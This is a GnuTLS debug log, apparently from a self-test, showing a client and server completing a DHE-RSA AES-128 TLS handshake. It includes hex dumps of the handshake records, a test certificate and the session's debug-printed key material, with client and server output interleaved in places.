server |<3>| HSK[0x11a3a20]: Keeping ciphersuite: RSA_ARCFOUR_MD5
server |<3>| HSK[0x11a3a20]: Keeping ciphersuite: RSA_3DES_EDE_CBC_SHA1
server |<3>| HSK[0x11a3a20]: Keeping ciphersuite: RSA_AES_128_CBC_SHA1
server |<3>| HSK[0x11a3a20]: Keeping ciphersuite: RSA_AES_256_CBC_SHA1
server |<3>| HSK[0x11a3a20]: Selected cipher suite: DHE_RSA_AES_128_CBC_SHA1
server |<3>| HSK[0x11a3a20]: Selected Compression Method: NULL
server |<3>| HSK[0x11a3a20]: SessionID: 2fa2d3b6026d8762b0743b76ff5a475aefb9e98773a796078ae31431c078eaa5
server |<3>| HSK[0x11a3a20]: SERVER HELLO was send [74 bytes]
server |<6>| BUF[HSK]: Peeked 76 bytes of Data
server |<6>| BUF[HSK]: Emptied buffer
server |<4>| REC[0x11a3a20]: Sending Packet[0] Handshake(22) with length: 74
server |<2>| ASSERT: gnutls_cipher.c:204
server |<7>| WRITE: Will write 79 bytes to 0x5.
server |<7>| WRITE: wrote 79 bytes to 0x5. Left 0 bytes. Total 79 bytes.
server |<7>| 0000 - 16 03 02 00 4a 02 00 00 46 03 02 49 30 03 f0 68 
server |<7>| 0001 - cb 07 32 98 35 4d 10 b6 a9 2c 28 db d3 91 f7 9b 
server |<7>| 0002 - 98 7a d0 8b 84 9b e0 4d 81 ed 7e 20 2f a2 d3 b6 
server |<7>| 0003 - 02 6d 87 62 b0 74 3b 76 ff 5a 47 5a ef b9 e9 87 
server |<7>| 0004 - 73 a7 96 07 8a e3 14 31 c0 78 ea a5 00 33 00 
server |<4>| REC[0x11a3a20]: Sent Packet[1] Handshake(22) with length: 79
server |<3>| HSK[0x11a3a20]: CERTIFICATE was send [612 bytes]
server |<6>| BUF[HSK]: Peeked 0 bytes of Data
server |<6>| BUF[HSK]: Emptied buffer
server |<4>| REC[0x11a3a20]: Sending Packet[1] Handshake(22) with length: 612
server |<2>| ASSERT: gnutls_cipher.c:204
server |<7>| WRITE: Will write 617 bytes to 0x5.
server |<7>| WRITE: wrote 617 bytes to 0x5. Left 0 bytes. Total 617 bytes.
server |<7>| 0000 - 16 03 02 02 64 0b 00 02 60 00 02 5d 00 02 5a 30 
server |<7>| 0001 - 82 02 56 30 82 01 c1 a0 03 02 01 02 02 04 46 26 
server |<7>| 0002 - 1d 31 30 0b 06 09 2a 86 48 86 f7 0d 01 01 05 30 
server |<7>| 0003 - 19 31 17 30 15 06 03 55 04 03 13 0e 47 6e 75 54 
server |<7>| 0004 - 4c 53 20 74 65 73 74 20 43 41 30 1e 17 0d 30 37 
server |<7>| 0005 - 30 34 31 38 31 33 32 39 32 31 5a 17 0d 30 38 30 
server |<7>| 0006 - 34 31 37 31 33 32 39 32 31 5a 30 37 31 1b 30 19 
server |<7>| 0007 - 06 03 55 04 0a 13 12 47 6e 75 54 4c 53 20 74 65 
server |<7>| 0008 - 73 74 20 73 65 72 76 65 72 31 18 30 16 06 03 55 
server |<7>| 0009 - 04 03 13 0f 74 65 73 74 2e 67 6e 75 74 6c 73 2e 
server |<7>| 000a - 6f 72 67 30 81 9c 30 0b 06 09 2a 86 48 86 f7 0d 
server |<7>| 000b - 01 01 01 03 81 8c 00 30 81 88 02 81 80 d7 ba 5c 
server |<7>| 000c - af a3 0c f0 2e a9 27 56 aa 53 8e a8 eb 7f 81 75 
server |<7>| 000d - 4c 6b 98 be 4a ea b7 1e f8 4b c3 6a c4 da 0d 00 
server |<7>| 000e - b8 ea 4c 13 1f 36 16 93 de 72 ef c6 a4 5e b2 6e 
server |<7>| 000f - b6 ca 0a 88 55 75 90 96 ed a6 57 bc 0c 3b 76 0d 
server |<7>| 0010 - 97 1e bd e9 ec 7f d3 a9 ec fb 85 64 a0 6b a0 48 
server |<7>| 0011 - ce 77 7e 73 9c 31 13 ff 3d c8 ae a5 60 6e d9 b6 
server |<7>| 0012 - 8c 5a 9a 6f b6 be 9f 6a bd a7 f0 a0 33 27 f5 b7 
server |<7>| 0013 - 1d 92 e5 96 9c 73 52 d6 9f d6 c8 8e b1 02 03 01 
server |<7>| 0014 - 00 01 a3 81 93 30 81 90 30 0c 06 03 55 1d 13 01 
server |<7>| 0015 - 01 ff 04 02 30 00 30 1a 06 03 55 1d 11 04 13 30 
server |<7>| 0016 - 11 82 0f 74 65 73 74 2e 67 6e 75 74 6c 73 2e 6f 
server |<7>| 0017 - 72 67 30 13 06 03 55 1d 25 04 0c 30 0a 06 08 2b 
server |<7>| 0018 - 06 01 05 05 07 03 01 30 0f 06 03 55 1d 0f 01 01 
server |<7>| 0019 - ff 04 05 03 03 07 a0 00 30 1d 06 03 55 1d 0e 04 
server |<7>| 001a - 16 04 14 eb c7 45 6e e5 f8 25 ca 8c 8d 83 0d 74 
server |<7>| 001b - e9 86 d4 dd 55 b4 75 30 1f 06 03 55 1d 23 04 18 
server |<7>| 001c - 30 16 80 14 e9 3c 1c fb ad 92 6e e6 06 a4 56 2c 
server |<7>| 001d - a2 e1 c0 53 27 c8 f2 95 30 0b 06 09 2a 86 48 86 
server |<7>| 001e - f7 0d 01 01 05 03 81 81 00 68 51 0f 4e df bb 6f 
server |<7>| 001f - 3b c1 b8 e7 fb f9 09 9e 41 c9 f6 f6 44 fa 06 cc 
server |<7>| 0020 - a1 d5 11 c9 5d ff 0a 4e 4e 50 45 fc 29 ea 88 1b 
server |<7>| 0021 - a7 de 09 41 67 0d 43 f4 bb 60 31 47 82 50 f5 03 
server |<7>| 0022 - 05 0d 05 15 f0 77 7a e2 52 c3 27 b3 18 1e 48 3c 
server |<7>| 0023 - 58 05 f2 58 6c 32 de a2 13 41 b2 a6 8f 0c 96 fb 
server |<7>| 0024 - 5d a8 a5 59 b3 10 29 f0 1b 15 0f 1c 9c ec 60 ac 
server |<7>| 0025 - e2 8b 51 04 56 27 42 b7 1f 25 d1 32 16 ea 8d d2 
server |<7>| 0026 - c8 69 08 82 bd 02 ee 8b 3a 
server |<4>| REC[0x11a3a20]: Sent Packet[2] Handshake(22) with length: 617
client |<7>| READ: Got 5 bytes from 0x5
client |<7>| READ: read 5 bytes from 0x5
client |<7>| 0000 - 16 03 02 00 4a 
client |<7>| RB: Have 0 bytes into buffer. Adding 5 bytes.
client |<7>| RB: Requested 5 bytes
client |<4>| REC[0x11a0ed0]: Expected Packet[0] Handshake(22) with length: 1
client |<4>| REC[0x11a0ed0]: Received Packet[0] Handshake(22) with length: 74
client |<7>| READ: Got 74 bytes from 0x5
client |<7>| READ: read 74 bytes from 0x5
client |<7>| 0000 - 02 00 00 46 03 02 49 30 03 f0 68 cb 07 32 98 35 
client |<7>| 0001 - 4d 10 b6 a9 2c 28 db d3 91 f7 9b 98 7a d0 8b 84 
client |<7>| 0002 - 9b e0 4d 81 ed 7e 20 2f a2 d3 b6 02 6d 87 62 b0 
client |<7>| 0003 - 74 3b 76 ff 5a 47 5a ef b9 e9 87 73 a7 96 07 8a 
client |<7>| 0004 - e3 14 31 c0 78 ea a5 00 33 00 
client |<7>| RB: Have 5 bytes into buffer. Adding 74 bytes.
client |<7>| RB: Requested 79 bytes
client |<2>| ASSERT: gnutls_cipher.c:204
client |<4>| REC[0x11a0ed0]: Decrypted Packet[0] Handshake(22) with length: 74
client |<6>| BUF[HSK]: Inserted 74 bytes of Data(22)
client |<6>| BUF[REC][HD]: Read 1 bytes of Data(22)
client |<6>| BUF[REC][HD]: Read 3 bytes of Data(22)
client |<3>| HSK[0x11a0ed0]: SERVER HELLO was received [74 bytes]
client |<6>| BUF[REC][HD]: Read 70 bytes of Data(22)
client |<6>| BUF[HSK]: Peeked 0 bytes of Data
client |<6>| BUF[HSK]: Emptied buffer
client |<6>| BUF[HSK]: Inserted 4 bytes of Data
client |<6>| BUF[HSK]: Inserted 70 bytes of Data
client |<3>| HSK[0x11a0ed0]: Server's version: 3.2
client |<3>| HSK[0x11a0ed0]: SessionID length: 32
client |<3>| HSK[0x11a0ed0]: SessionID: 2fa2d3b6026d8762b0743b76ff5a475aefb9e98773a796078ae31431c078eaa5
client |<3>| HSK[0x11a0ed0]: Selected cipher suite: DHE_RSA_AES_128_CBC_SHA1
client |<2>| ASSERT: gnutls_extensions.c:124
client |<7>| READ: Got 5 bytes from 0x5
client |<7>| READ: read 5 bytes from 0x5
client |<7>| 0000 - 16 03 02 02 64 
client |<7>| RB: Have 0 bytes into buffer. Adding 5 bytes.
client |<7>| RB: Requested 5 bytes
client |<4>| REC[0x11a0ed0]: Expected Packet[1] Handshake(22) with length: 1
client |<4>| REC[0x11a0ed0]: Received Packet[1] Handshake(22) with length: 612
client |<7>| READ: Got 612 bytes from 0x5
client |<7>| READ: read 612 bytes from 0x5
client |<7>| 0000 - 0b 00 02 60 00 02 5d 00 02 5a 30 82 02 56 30 82 
client |<7>| 0001 - 01 c1 a0 03 02 01 02 02 04 46 26 1d 31 30 0b 06 
client |<7>| 0002 - 09 2a 86 48 86 f7 0d 01 01 05 30 19 31 17 30 15 
client |<7>| 0003 - 06 03 55 04 03 13 0e 47 6e 75 54 4c 53 20 74 65 
client |<7>| 0004 - 73 74 20 43 41 30 1e 17 0d 30 37 30 34 31 38 31 
client |<7>| 0005 - 33 32 39 32 31 5a 17 0d 30 38 30 34 31 37 31 33 
client |<7>| 0006 - 32 39 32 31 5a 30 37 31 1b 30 19 06 03 55 04 0a 
client |<7>| 0007 - 13 12 47 6e 75 54 4c 53 20 74 65 73 74 20 73 65 
client |<7>| 0008 - 72 76 65 72 31 18 30 16 06 03 55 04 03 13 0f 74 
client |<7>| 0009 - 65 73 74 2e 67 6e 75 74 6c 73 2e 6f 72 67 30 81 
client |<7>| 000a - 9c 30 0b 06 09 2a 86 48 86 f7 0d 01 01 01 03 81 
client |<7>| 000b - 8c 00 30 81 88 02 81 80 d7 ba 5c af a3 0c f0 2e 
client |<7>| 000c - a9 27 56 aa 53 8e a8 eb 7f 81 75 4c 6b 98 be 4a 
client |<7>| 000d - ea b7 1e f8 4b c3 6a c4 da 0d 00 b8 ea 4c 13 1f 
client |<7>| 000e - 36 16 93 de 72 ef c6 a4 5e b2 6e b6 ca 0a 88 55 
client |<7>| 000f - 75 90 96 ed a6 57 bc 0c 3b 76 0d 97 1e bd e9 ec 
client |<7>| 0010 - 7f d3 a9 ec fb 85 64 a0 6b a0 48 ce 77 7e 73 9c 
client |<7>| 0011 - 31 13 ff 3d c8 ae a5 60 6e d9 b6 8c 5a 9a 6f b6 
client |<7>| 0012 - be 9f 6a bd a7 f0 a0 33 27 f5 b7 1d 92 e5 96 9c 
client |<7>| 0013 - 73 52 d6 9f d6 c8 8e b1 02 03 01 00 01 a3 81 93 
client |<7>| 0014 - 30 81 90 30 0c 06 03 55 1d 13 01 01 ff 04 02 30 
client |<7>| 0015 - 00 30 1a 06 03 55 1d 11 04 13 30 11 82 0f 74 65 
client |<7>| 0016 - 73 74 2e 67 6e 75 74 6c 73 2e 6f 72 67 30 13 06 
client |<7>| 0017 - 03 55 1d 25 04 0c 30 0a 06 08 2b 06 01 05 05 07 
client |<7>| 0018 - 03 01 30 0f 06 03 55 1d 0f 01 01 ff 04 05 03 03 
client |<7>| 0019 - 07 a0 00 30 1d 06 03 55 1d 0e 04 16 04 14 eb c7 
client |<7>| 001a - 45 6e e5 f8 25 ca 8c 8d 83 0d 74 e9 86 d4 dd 55 
client |<7>| 001b - b4 75 30 1f 06 03 55 1d 23 04 18 30 16 80 14 e9 
client |<7>| 001c - 3c 1c fb ad 92 6e e6 06 a4 56 2c a2 e1 c0 53 27 
client |<7>| 001d - c8 f2 95 30 0b 06 09 2a 86 48 86 f7 0d 01 01 05 
client |<7>| 001e - 03 81 81 00 68 51 0f 4e df bb 6f 3b c1 b8 e7 fb 
client |<7>| 001f - f9 09 9e 41 c9 f6 f6 44 fa 06 cc a1 d5 11 c9 5d 
client |<7>| 0020 - ff 0a 4e 4e 50 45 fc 29 ea 88 1b a7 de 09 41 67 
client |<7>| 0021 - 0d 43 f4 bb 60 31 47 82 50 f5 03 05 0d 05 15 f0 
client |<7>| 0022 - 77 7a e2 52 c3 27 b3 18 1e 48 3c 58 05 f2 58 6c 
client |<7>| 0023 - 32 de a2 13 41 b2 a6 8f 0c 96 fb 5d a8 a5 59 b3 
client |<7>| 0024 - 10 29 f0 1b 15 0f 1c 9c ec 60 ac e2 8b 51 04 56 
client |<7>| 0025 - 27 42 b7 1f 25 d1 32 16 ea 8d d2 c8 69 08 82 bd 
client |<7>| 0026 - 02 ee 8b 3a 
client |<7>| RB: Have 5 bytes into buffer. Adding 612 bytes.
client |<7>| RB: Requested 617 bytes
client |<2>| ASSERT: gnutls_cipher.c:204
client |<4>| REC[0x11a0ed0]: Decrypted Packet[1] Handshake(22) with length: 612
client |<6>| BUF[HSK]: Inserted 612 bytes of Data(22)
client |<6>| BUF[REC][HD]: Read 1 bytes of Data(22)
client |<6>| BUF[REC][HD]: Read 3 bytes of Data(22)
client |<3>| HSK[0x11a0ed0]: CERTIFICATE was received [612 bytes]
client |<6>| BUF[REC][HD]: Read 608 bytes of Data(22)
client |<6>| BUF[HSK]: Peeked 74 bytes of Data
client |<6>| BUF[HSK]: Emptied buffer
client |<6>| BUF[HSK]: Inserted 4 bytes of Data
client |<6>| BUF[HSK]: Inserted 608 bytes of Data
server |<3>| HSK[0x11a3a20]: SERVER KEY EXCHANGE was send [397 bytes]
server |<6>| BUF[HSK]: Peeked 0 bytes of Data
server |<6>| BUF[HSK]: Emptied buffer
server |<4>| REC[0x11a3a20]: Sending Packet[2] Handshake(22) with length: 397
server |<2>| ASSERT: gnutls_cipher.c:204
server |<7>| WRITE: Will write 402 bytes to 0x5.
server |<7>| WRITE: wrote 402 bytes to 0x5. Left 0 bytes. Total 402 bytes.
server |<7>| 0000 - 16 03 02 01 8d 0c 00 01 89 00 80 b6 4c 70 da 39 
server |<7>| 0001 - 6c 54 2b 2b 7c ba b1 ac df 88 ac 5f f7 5b cb d5 
server |<7>| 0002 - 16 f0 f3 61 b2 e6 c6 2d 86 42 ff 6c fc f4 06 58 
client |<7>| READ: Got 5 bytes from 0x5
client |<7>| READ: read 5 bytes from 0x5
 0004 - 42 23 54 9a 62 c7 8e 40 82 08 01 83 fb f0 27 f2 
server |<7>| 0005 - 22 91 92 71 6f ef 4b c9 21 af 0d 2b 95 08 b2 78 
client |<7>| 0000 - 16 03 02 01 8d 
client |<7>| RB: Have 0 bytes into buffer. Adding 5 bytes.
client |<7server |<7>| 0007 - a6 14 e0 fb 1f 4b 26 25 ed 82 37 28 d8 a5 ec 41 
client |<7>| 0000 - 0c 00 01 89 00 80 b6 4c 70 da 39 6c 54 2b 2b 7c 
client |<7>| 0001 - ba b1 ac df 88 ac 5f f7 5b cb d5 16 f0 f3 61 b2 
client |<7>| 0002 - e6 c6 2d 86 42 ff 6c fc f4 06 58 fd 5d f6 2d b6 
server |<7>| 000a - 31 43 87 c6 09 76 30 2d 45 03 60 aa 3d 74 52 a8 
client |<7>| 0003 - 3f 60 e9 ad f7 09 92 75 ad ec a8 42 23 54 9a 62 
server |<7>| 000b - 2a 83 65 f2 74 6f 30 14 3a 65 eb 25 57 fb 9d d4 
client |<7>| 0004 - c7 8e 40 82 08 01 83 fb f0 27 f2 22 91 92 71 6f 
server |<7>| 000c - 29 ae 76 1d 2b ec f5 88 64 99 26 63 2b 60 fe f2 
client |<7>| 0005 - ef 4b c9 21 af 0d 2b 95 08 b2 78 2b d0 80 5d ce 
server |<7>| 000d - 62 e8 96 be 6e c0 6f b3 4d f0 b7 65 86 fb 3f ae 
client |<7>| 0006 - 19 e1 8e 13 2c 1c c3 ea 10 4f 84 a6 14 e0 fb 1f 
server |<7>| 000e - e4 ee 93 88 79 0e ee e2 0b d6 58 0d b1 af 77 85 
client |<7>| 0007 - 4b 26 25 ed 82 37 28 d8 a5 ec 41 5d 0f c0 d2 66 
server |<7>| 000f - 28 b6 2c fb 2b c9 e4 90 14 4c 7c 54 11 9b 20 69 
client |<7>| 0008 - d3 17 d4 0a 9b 57 00 01 05 00 80 6e 40 c9 2d 6e 
server |<7>| 0010 - 51 8e 68 bc 6b 8e ce ac 3f ca 42 e1 97 4d 60 11 
client |<7>| 0009 - de 80 df 3d 25 b5 e9 eb 3d 68 6a 31 43 87 c6 09 
server |<7>| 0011 - 00 80 28 75 80 cd 7e 25 52 45 1a 85 09 d6 c4 34 
client |<7>| 000a - 76 30 2d 45 03 60 aa 3d 74 52 a8 2a 83 65 f2 74 
server |<7>| 0012 - ad 84 36 1c a0 e6 15 d4 9d fc b6 4b 6a 5a 0c 50 
client |<7>| 000b - 6f 30 14 3a 65 eb 25 57 fb 9d d4 29 ae 76 1d 2b 
server |<7>| 0013 - 14 69 28 58 52 0d f8 7e f0 c5 26 3b 7f 4a 8c 70 
client |<7>| 000c - ec f5 88 64 99 26 63 2b 60 fe f2 62 e8 96 be 6e 
server |<7>| 0014 - 07 17 15 05 b1 11 39 6b f8 90 96 54 3d 94 8e 36 
client |<7>| 000d - c0 6f b3 4d f0 b7 65 86 fb 3f ae e4 ee 93 88 79 
server |<7>| 0015 - 1f b7 43 5e 73 21 49 fb 14 b5 de 5f 98 b4 00 b0 
client |<7>| 000e - 0e ee e2 0b d6 58 0d b1 af 77 85 28 b6 2c fb 2b 
server |<7>| 0016 - c9 36 ec e1 22 1c 7d 46 32 2c ab 2d 69 ca 6d 40 
client |<7>| 000f - c9 e4 90 14 4c 7c 54 11 9b 20 69 51 8e 68 bc 6b 
server |<7>| 0017 - a6 64 51 1d 34 f0 35 f1 27 3d 84 24 31 7b 0a 8f 
client |<7>| 0010 - 8e ce ac 3f ca 42 e1 97 4d 60 11 00 80 28 75 80 
server |<7>| 0018 - 0a 0b 9b cc 57 cb 7a 62 84 bb 07 10 77 d8 b9 e5 
server |<7>| 0019 - dc 75 
server |<4>| REC[0x11a3a20]: Sent Packet[3] Handshake(22) with length: 402
server |<3>| HSK[0x11a3a20]: SERVER HELLO DONE was send [4 bytes]
server |<6>| BUF[HSK]: Peeked 0 bytes of Data
server |<6>| BUF[HSK]: client |<7>| 0018 - cb 7a 62 84 bb 07 10 77 d8 b9 e5 dc 75 
client |<7>| RB: Have 5 bytes into buffer. Adding 397 bytes.
client |<7>| RB: Requested 402 bytes
client |<2>| ASSERT: gnutls_cipher.c:204
client |<4>| REC[0x11a0ed0]: Decrypted Packet[2] Handshake(22) with length: 397
client |<6>| BUF[HSK]: Inserted 397 bytes of Data(22)
client |<6>| BUF[REC][HD]: Read 1 bytes of Data(22)
client |<6>| BUF[REC][HD]: Read 3 bytes of Data(22)
client |<3>| HSK[0x11a0ed0]: SERVER KEY EXCHANGE was received [397 bytes]
client |<6>| BUF[REC][HD]: Read 393 bytes of Data(22)
client |<6>| BUF[HSK]: Peeked 612 bytes of Data
client |<6>| BUF[HSK]: Emptied buffer
client |<6>| BUF[HSK]: Inserted 4 bytes of Data
client |<6>| BUF[HSK]: Inserted 393 bytes of Data
client |<7>| READ: Got 5 bytes from 0x5
client |<7>| READ: read 5 bytes from 0x5
client |<7>| 0000 - 16 03 02 00 04 
client |<7>| RB: Have 0 bytes into buffer. Adding 5 bytes.
client |<7>| RB: Requested 5 bytes
client |<4>| REC[0x11a0ed0]: Expected Packet[3] Handshake(22) with length: 1
client |<4>| REC[0x11a0ed0]: Received Packet[3] Handshake(22) with length: 4
client |<7>| READ: Got 4 bytes from 0x5
client |<7>| READ: read 4 bytes from 0x5
client |<7>| 0000 - 0e 00 00 00 
client |<7>| RB: Have 5 bytes into buffer. Adding 4 bytes.
client |<7>| RB: Requested 9 bytes
client |<2>| ASSERT: gnutls_cipher.c:204
client |<4>| REC[0x11a0ed0]: Decrypted Packet[3] Handshake(22) with length: 4
client |<6>| BUF[HSK]: Inserted 4 bytes of Data(22)
client |<6>| BUF[REC][HD]: Read 1 bytes of Data(22)
client |<6>| BUF[REC][HD]: Read 3 bytes of Data(22)
client |<3>| HSK[0x11a0ed0]: SERVER HELLO DONE was received [4 bytes]
client |<2>| ASSERT: gnutls_handshake.c:1123
client |<6>| BUF[HSK]: Peeked 397 bytes of Data
client |<6>| BUF[HSK]: Emptied buffer
client |<6>| BUF[HSK]: Inserted 4 bytes of Data
client |<3>| HSK[0x11a0ed0]: CLIENT KEY EXCHANGE was send [134 bytes]
client |<6>| BUF[HSK]: Peeked 4 bytes of Data
client |<6>| BUF[HSK]: Emptied buffer
client |<4>| REC[0x11a0ed0]: Sending Packet[1] Handshake(22) with length: 134
client |<2>| ASSERT: gnutls_cipher.c:204
client |<7>| WRITE: Will write 139 bytes to 0x5.
client |<7>| WRITE: wrote 139 bytes to 0x5. Left 0 bytes. Total 139 bytes.
client |<7>| 0000 - 16 03 02 00 86 10 00 00 82 00 80 66 c4 24 91 38 
server |<7>| READ: Got 5 bytes from 0x5
server |<7>| READ: read 5 bytclient |<7>| 0002 - 23 36 08 f0 2a c6 b4 46 ec 52 af 85 d1 e0 df 46 
client |<7>| 0003 - 0c 7b 3c 45 9c cf 06 37 80 3f 5e a2 12 46 a8 80 
server |<4>| REC[0x11a3a20]: Expected Packet[1] Handshake(22) with length: 1
server |<4>| REC[0x11a3a20]: Received Packet[1] Handshake(22) with length: 134
>| 0005 - b3 22 be f6 f3 31 b3 28 ac 7f 3a e4 d6 93 3f 25 
client |<7>| 0006 - 9b dc f0 69 a9 7e a4 63 ac ca 8e c7 08 e6 a0 46 
client |<7>| 0007 - 58 73 8a c3 f7 f3 6a af 7b 5f 7c 4b 95 bd 98 f0 
client |<7>| 0008 - 6c 45 c7 d9 36 fd 2c 34 8b a7 e3 
client |<4>| REC[0x11a0ed0]: Sent Packet[2] Handshake(22) with length: 139
client |<3>| REC[0x11a0ed0]: Sent ChangeCipherSpec
client |<4>| REC[0x11a0ed0]: Sending Packet[2] Change Cipher Spec(20) with length: 1
client |<2>| ASSERT: gnutls_cipher.c:204
client |<7>| WRITE: Will write 6 bytes to 0x5.
server |<7>| 0008 - fd 2c 34 8b a7 e3 
server |<7>| RB: Have 5 bytes into buffer. Adding 134 bytes.
server |<7>| RB: Requested 139 bytes
server |<2>| ASSERT: gnutls_cipher.c:204
client |<9>| INT: PREMASTER SECRET[128]: 41167049932bc84516104c5a35c565b8f77c55cserver |<6>| BUF[HSK]: Inserted 134 bytes of Data(22)
client |<9>| INT: CLIENT RANDOM[32]: 493003f07cb0a96ff6f64d34a0775a8fe16e8207e1d499379094be7d54a4d653
)
server |<3>| HSK[0x11a3a20]: CLIENT KEY EXCHANGE was received [134 bytes]
server |<6>| BUF[REC][HD]: Read 130 bytes of Data(22)
server |<6>| BUF[HSK]: Peeked 0 bytes of Data
server |<6>| BUF[HSK]: Emptied buffer
server |<6>| BUF[HSK]: Inserted 4 bytes of Data
server |<6>| BUF[HSK]: Inserted 130 bytes of Data
client |<9>| INT: MASTER SECRET: 8297ae98d8ec3fad5c87234f9566a3a3184ba0578f34e95953ec3ba3a795066fb065484b92310e49ddd349a16a87e19a
client |<9>| INT: KEY BLOCK[104]: ad2bd026a0c1a87c3af3b45ebbea20ce8bde45b2db0ba6fef618b72eeec569de
client |<9>| INT: CLIENT WRITE KEY [16]: 6e9f1ef36d56350aa51d7be0862c3302
client |<9>| INT: SERVER WRITE KEY [16]: 1e1b4a6c7f77c32d73a1d424a06d03a6
client |<3>| HSK[0x11a0ed0]: Cipher Suite: DHE_RSA_AES_128_CBC_SHA1
client |<3>| HSK[0x11a0ed0]: Initializing internal [write] cipher sessions
client |<6>| BUF[HSK]: Peeked 0 bytes of Data
client |<6>| BUF[HSK]: Emptied buffer
client |<3>| HSK[0x11a0ed0]: FINISHED was send [16 bytes]
client |<6>| BUF[HSK]: Peeked 0 bytes of Data
client |<6>| BUF[HSK]: Emptied buffer
client |<4>| REC[0x11a0ed0]: Sending Packet[0] Handshake(22) with length: 16
client |<7>| WRITE: Will write 133 bytes to 0x5.
client |<7>| WRITE: wrote 133 bytes to 0x5. Left 0 bytes. Total 133 bytes.
client |<7>| 0000 - 16 03 02 00 80 33 01 98 eb b7 08 19 70 b3 7a c3 
client |<7>| 0001 - 70 df 5e 2b 67 fd 0a 3f 03 28 58 76 3f 68 07 77 
client |<7>| 0002 - 61 04 a5 cc 4e f9 d0 e7 a1 f5 10 ef 22 07 a3 3c 
client |<7>| 0003 - fe 5e ed a4 7b 52 66 80 4c 73 79 8c 26 df 3e 8a 
client |<7>| 0004 - 71 a8 e7 a5 48 b5 f9 78 6b d4 de 34 30 6b 41 9b 
client |<7>| 0005 - 85 e4 f8 3e 50 1f f9 77 fd 4a f4 6e a4 9a da 54 
client |<7>| 0006 - 28 e6 ff 7a 7c 9a 1e 75 37 2f 51 c4 a3 9a af 5f 
client |<7>| 0007 - bf 89 9e 82 22 9f 87 9c 77 b0 40 85 bd c1 75 a2 
client |<7>| 0008 - 36 d3 8e 9b d3 
client |<4>| REC[0x11a0ed0]: Sent Packet[1] Handshake(22) with length: 133
server |<7>| READ: Got 5 bytes from 0x5
server |<7>| READ: read 5 bytes from 0x5
server |<7>| 0000 - 14 03 02 00 01 
server |<7>| RB: Have 0 bytes into buffer. Adding 5 bytes.
server |<7>| RB: Requested 5 bytes
server |<4>| REC[0x11a3a20]: Expected Packet[2] Change Cipher Spec(20) with length: 1
server |<4>| REC[0x11a3a20]: Received Packet[2] Change Cipher Spec(20) with length: 1
server |<7>| READ: Got 1 bytes from 0x5
server |<7>| READ: read 1 bytes from 0x5
server |<7>| 0000 - 01 
server |<7>| RB: Have 5 bytes into buffer. Adding 1 bytes.
server |<7>| RB: Requested 6 bytes
server |<2>| ASSERT: gnutls_cipher.c:204
server |<4>| REC[0x11a3a20]: ChangeCipherSpec Packet was received
server |<9>| INT: PREMASTER SECRET[128]: 41167049932bc84516104c5a35c565b8f77c55c8f51920db9918c959f0a0b81a42f33e5e19e73bc00de227df548dc9ab7d3bee6def0264a6d50945f305836d1867155349dc79278e98b4598d99e60031f879c4d4501a00b3724d75ae8d998424f2bb63d0ecb714c64433ede260f45aa08e5a108fbea41fece3cf912532396238
server |<9>| INT: CLIENT RANDOM[32]: 493003f07cb0a96ff6f64d34a0775a8fe16e8207e1d499379094be7d54a4d653
server |<9>| INT: SERVER RANDOM[32]: 493003f068cb073298354d10b6a92c28dbd391f79b987ad08b849be04d81ed7e
server |<9>| INT: MASTER SECRET: 8297ae98d8ec3fad5c87234f9566a3a3184ba0578f34e95953ec3ba3a795066fb065484b92310e49ddd349a16a87e19a
server |<9>| INT: KEY BLOCK[104]: ad2bd026a0c1a87c3af3b45ebbea20ce8bde45b2db0ba6fef618b72eeec569de
server |<9>| INT: CLIENT WRITE KEY [16]: 6e9f1ef36d56350aa51d7be0862c3302
server |<9>| INT: SERVER WRITE KEY [16]: 1e1b4a6c7f77c32d73a1d424a06d03a6
server |<3>| HSK[0x11a3a20]: Cipher Suite: DHE_RSA_AES_128_CBC_SHA1
server |<3>| HSK[0x11a3a20]: Initializing internal [read] cipher sessions
server |<7>| READ: Got 5 bytes from 0x5
server |<7>| READ: read 5 bytes from 0x5
server |<7>| 0000 - 16 03 02 00 80 
server |<7>| RB: Have 0 bytes into buffer. Adding 5 bytes.
server |<7>| RB: Requested 5 bytes
server |<4>| REC[0x11a3a20]: Expected Packet[0] Handshake(22) with length: 1
server |<4>| REC[0x11a3a20]: Received Packet[0] Handshake(22) with length: 128
server |<7>| READ: Got 128 bytes from 0x5
server |<7>| READ: read 128 bytes from 0x5
server |<7>| 0000 - 33 01 98 eb b7 08 19 70 b3 7a c3 70 df 5e 2b 67 
server |<7>| 0001 - fd 0a 3f 03 28 58 76 3f 68 07 77 61 04 a5 cc 4e 
server |<7>| 0002 - f9 d0 e7 a1 f5 10 ef 22 07 a3 3c fe 5e ed a4 7b 
server |<7>| 0003 - 52 66 80 4c 73 79 8c 26 df 3e 8a 71 a8 e7 a5 48 
server |<7>| 0004 - b5 f9 78 6b d4 de 34 30 6b 41 9b 85 e4 f8 3e 50 
server |<7>| 0005 - 1f f9 77 fd 4a f4 6e a4 9a da 54 28 e6 ff 7a 7c 
server |<7>| 0006 - 9a 1e 75 37 2f 51 c4 a3 9a af 5f bf 89 9e 82 22 
server |<7>| 0007 - 9f 87 9c 77 b0 40 85 bd c1 75 a2 36 d3 8e 9b d3 
server |<7>| 0008 - 
server |<7>| RB: Have 5 bytes into buffer. Adding 128 bytes.
server |<7>| RB: Requested 133 bytes
server |<4>| REC[0x11a3a20]: Decrypted Packet[0] Handshake(22) with length: 16
server |<6>| BUF[HSK]: Inserted 16 bytes of Data(22)
server |<6>| BUF[REC][HD]: Read 1 bytes of Data(22)
server |<6>| BUF[REC][HD]: Read 3 bytes of Data(22)
server |<3>| HSK[0x11a3a20]: FINISHED was received [16 bytes]
server |<6>| BUF[REC][HD]: Read 12 bytes of Data(22)
server |<6>| BUF[HSK]: Peeked 134 bytes of Data
server |<6>| BUF[HSK]: Emptied buffer
server |<6>| BUF[HSK]: Inserted 4 bytes of Data
server |<6>| BUF[HSK]: Inserted 12 bytes of Data
server |<3>| REC[0x11a3a20]: Sent ChangeCipherSpec
server |<4>| REC[0x11a3a20]: Sending Packet[4] Change Cipher Spec(20) with length: 1
server |<2>| ASSERT: gnutls_cipher.c:204
server |<7>| WRITE: Will write 6 bytes to 0x5.
server |<7>| WRITE: wrote 6 bytes to 0x5. Left 0 bytes. Total 6 bytes.
server |<7>| 0000 - 14 03 02 00 01 01 
server |<4>| REC[0x11a3a20]: Sent Packet[5] Change Cipher Spec(20) with length: 6client |<7>| 0000 - 14 03 02 00 01 
client |<7>| RB: Have 0 bytes into buffer. Adding 5 bytes.
client |<server |<3>| HSK[0x11a3a20]: Initializing internal [write] cipher sessions
hange Cipher Spec(20) with length: 1
